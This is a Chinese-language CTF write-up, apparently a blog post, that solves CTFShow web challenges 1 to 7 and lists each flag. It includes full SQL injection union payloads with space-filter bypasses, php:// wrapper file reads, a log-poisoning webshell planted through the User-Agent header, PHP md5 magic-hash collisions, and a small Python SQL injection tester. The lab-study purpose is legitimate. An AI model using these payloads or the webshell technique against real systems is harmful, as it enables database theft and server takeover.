CtfShow-web-1~7

文章讲述了在一系列网络安全挑战中,参与者通过SQL注入、解密加密字符串、任意文件读取以及PHP伪协议等技术手段解决web1至web7关卡的问题,涉及数据库操作、数据提取和安全绕过策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. web1
2. web2
3. web3
4. web4
5. web5
6. web6
7. web7

第一关


在这里插入图片描述

第一关很简单,启动环境,进入连接后,页面问,flag在哪里,直接按F12查看源码。

在这里插入图片描述
在这里插入图片描述

将这个加密字符串,解密后就是flag了。

解密的网址
在这里插入图片描述

ctfshow{dfbcb744-e937-4b08-9858-0a70274d3229}

第二关


在这里插入图片描述

很明显是sql注入,应为这里是登录,我们使用select 判断输出位。

1'or 1=1 union select 1,2,3;#

在这里插入图片描述


在这里插入图片描述

查询当前使用数据库-web2
-1'union select 1,database(),3;#

在这里插入图片描述


查询所有的表
-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3;#

在这里插入图片描述


查询flag表字段名
-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='flag' and table_schema='web2'),3;#

在这里插入图片描述


查询flag数据
-1'union select 1,(select group_concat(flag) from web2.flag),3;#

在这里插入图片描述

ctfshow{30106bc0-f0f3-4a4a-8b53-a88a2c4d9ca7}

第三关

在这里插入图片描述

根据靶机页面提示,可知到,本关卡考点是任意文件读取。
在这里插入图片描述
这里我们使用php的伪协议中的php://,来读取和执行我们的命令。

关于php伪协议,可以下面这偏文章:
https://blog.youkuaiyun.com/m0_73720136/article/details/130543930

在这里插入图片描述
执行了ls命令之后,我们可以看到出现了两个文件。我们读取这个ctf_go_go_go文件。
在这里插入图片描述

ctfshow{1c2b9571-4339-48cf-94a3-196c6ac08686}

第四关

在这里插入图片描述
这一关依旧是文件读取,但是发现伪协议不行了
在这里插入图片描述

这里读取当前环境的日志文件,读取成功,那么可以使用日志注入webshell。我们写入的php一句话会被解析从而实现shell的写入。
在这里插入图片描述

BP抓包,在UA头写入webshell一句话木马。然后放包访问。
在这里插入图片描述

然后使用一句话木马连接。成功找到flag。
在这里插入图片描述
在这里插入图片描述

ctfshow{a55835a0-d14e-44f0-9ac1-ebea1e77245e}

第五关


在这里插入图片描述
在这里插入图片描述

根据提示源码,需要输入两个参数,v1,v2。且v2是数字,v1是字符串,且它们的md5值需相同。
该靶场环境是php搭建的。
故:PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

以下是两个md5以0E开头的字符串和数字。

QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854

输入即可
在这里插入图片描述

第六关

在这里插入图片描述
看页面,肯定是sql注入无疑了。
fuzz了一下,发现过滤了空格。
空格被过滤了,可以使用 ()或者/**/行内注释进行绕过。
在这里插入图片描述
已经发现过滤,和已经成功绕过,后面的就好办了,重复写sql就行了。
这里是登录,不能使用order by进行探测。可以直接使用 union select 1,2,3……进行探测输出位。
在这里插入图片描述

获取数据库
1'union(select(1),database(),3)#

获取表
1'union(select(1),(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),3);#

获取表字段
1'union(select(1),(select(group_concat(column_name))from(information_schema.columns)where(table_schema=database())and(table_name='flag')),3);#

获取数据
1'union(select(1),(select(flag)from(web2.flag)),3);#

flag
ctfshow{665fcdc5-e8d2-42ee-81ff-a9818bbffe86}

第七关


在这里插入图片描述

点击文章发现该靶场是以get方式的传参,无疑是sql注入了。
但经过fuzz发现,过滤了空格和()
但是我们依然可以使用//进行绕过**
在这里插入图片描述

查当前所使用的数据库
1'/**/union/**/select/**/1,database(),3#

查表名字
1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),3#

查字段名字
1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#

查数据
1'/**/union/**/select/**/1,(select/**/flag/**/from/**/web7.flag),3#

在这里插入图片描述

ctfshow{7aea9b9d-aa46-416c-927f-3eed7b486156}
### CTF SHOW Web 类别挑战资源与解决方案 对于参与CTF SHOW平台上Web类别的挑战,特别是针对`web4`这一具体题目,可以借鉴一些通用的Web安全漏洞利用技巧以及特定于该平台的经验分享。通常情况下,这类挑战会涉及到常见的Web应用程序漏洞,如SQL注入、跨站脚本攻击(XSS)、文件包含漏洞(LFI/RFI)等。 为了更好地理解和解决这些挑战,可以从以下几个方面入手: #### 学习基础理论和技术 深入理解HTTP协议的工作原理及其请求响应机制是非常重要的。掌握如何通过浏览器开发者工具分析网络流量可以帮助识别潜在的安全问题[^1]。 #### 利用在线学习资源 有许多优质的网站提供了关于Web渗透测试的学习材料和实践环境,例如OWASP Top Ten项目文档,它列举并解释了当前最严重的Web应用风险;还有像PortSwigger Academy这样的平台提供了一系列课程来教授各种类型的Web漏洞挖掘方法。 #### 参考社区讨论和Writeup 加入相关的技术论坛或社交媒体群组,在那里可以看到其他参赛者发布的writeups(解题报告),这对于获取灵感非常有帮助。GitHub上也有很多开源仓库专门收集整理了不同赛事下的高质量writeup链接集合。 ```python import requests def check_sql_injection(url, param): test_payload = "' OR '1'='1" data = {param: test_payload} response = requests.post(url, data=data) if "Welcome" in response.text: print(f"[+] SQL Injection vulnerability detected on parameter '{param}'!") else: print("[-] No SQL Injection found.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值